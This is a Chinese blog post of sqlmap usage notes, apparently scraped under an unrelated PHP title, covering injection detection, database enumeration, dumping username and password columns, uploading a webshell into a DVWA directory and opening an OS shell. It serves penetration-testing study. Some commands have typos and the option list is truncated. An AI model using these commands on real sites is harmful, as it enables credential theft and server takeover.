php抓取网页指定内容(我的另一个笔记整理:可能是网上最易懂的SQL手工注入教程)
优采云 发布时间: 2021-12-13 07:09php抓取网页指定内容(我的另一个笔记整理:可能是网上最易懂的SQL手工注入教程)
Sqlmap 也是渗透中常用的注入工具。其实在注入工具方面,一个sqlmap就够了。只要你熟悉它,它只是一个方便的问题。另一方面,sql注入是一个手动派对。这是另一回事。
今天把我整理的sqlmap笔记发布出来供大家参考。
教程说明
在学习sqlmap之前,建议先了解一下SQL注入的实现原理和基本的手动注入操作,这样更容易理解sqlmap的使用。
我的另一个笔记整理:可能是网上最通俗易懂的SQL手动注入教程【个人笔记整理精华】
sqlmap注入waf可以参考:sqlmap注入篡改绕过WAF防火墙过滤
sqlmap 介绍
sqlmap 支持五种不同的注入模式:
sqlmap支持的数据库有
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
检测注入的基本格式
sqlmap -u ""
默认使用 level1 检测所有数据库类型
sqlmap -u “” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高检测越全面)
关注302跳转
注入页面错误时,自动跳转到另一个页面时需要遵循302。
注入错误的时候,先报错再跳转就不需要跟着302了。
目的是:追踪错误信息。
cookie 注入
当程序有反get注入时,可以使用cookie注入
sqlmap -u "" -cookie "id=11" -level 2 (只有级别达到2才会检测到cookie)
从post包注入
可以使用burpsuite或tempdata等工具抓取post包
sqlmap -r "c:\tools\request.txt" -p "username" -dbms mysql 指定用户名参数
注入成功后获取数据库基本信息
sqlmap -u “” –dbms mysql –level 3 –dbs
哪些数据库可供查询
sqlmap -u “” –dbms mysql –level 3 -D test –tables
查询测试数据库中有哪些表
sqlmap -u “” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表的哪些字段
sqlmap -u “” –dbms mysql –level 3 -D test -T admin -C “用户名,密码” –dump
转储用户名和密码字段中的数据
其他命令参考如下
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在 dedecms 数据库中搜索字段 admin 或 password。
读写文件
首先找到需要网站的物理路径,其次需要有写权限或者读权限。
--File-read=RFILE 从后端数据库管理系统文件系统中读取文件(物理路径)
--File-write=WFILE 编辑后端数据库管理系统文件系统上的本地文件(mssql xp_shell)
--File-dest=DFILE 后端数据库管理系统写入的文件的绝对路径
#例子:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\ webshell\1112.php"
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站的可写目录:
"E:\php\htdocs\dvwa"
#注意:mysql不支持列出目录,只支持读取单个文件。sqlserver可以列出目录,但是不能读写文件,但是需要一个(xp_dirtree函数)
sqlmap详细命令:
——————————————————————————————————————
选项:
sqlmap -u "" -dbs -o "sqlmap.log" 保存进度
sqlmap -u "" -dbs -o "sqlmap.log" -resume 恢复保存的进度
目标:
至少需要设置下面的选项之一来设置目标 URL。
要求:
这些选项可用于指定如何连接到目标 URL。
枚举:
这些选项可用于列出后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的 SQL 语句。
优化:
这些选项可用于优化 SqlMap 的性能。
注射:
这些选项可用于指定要测试的参数、提供自定义注入有效负载和可选的篡改脚本。
检测:
这些选项可用于指定在 SQL 盲注期间如何解析和比较 HTTP 响应页面的内容。
技巧:
这些选项可用于调整特定的 SQL 注入测试。
指纹: 蛮力:
这些选项可用于运行蛮力检查。
用户自定义函数注入:
这些选项可用于创建用户定义的函数。
--udf-inject 注入用户定义函数
--Shared-lib=SHLIB 共享库本地路径
文件系统访问:
这些选项可用于访问后端数据库管理系统的底层文件系统。
操作系统访问:
这些选项可用于访问后端数据库管理系统的底层操作系统。
Windows 注册表访问:
这些选项可用于访问后端数据库管理系统的 Windows 注册表。
这些选项可用于设置一些通用的工作参数。
杂项(杂项):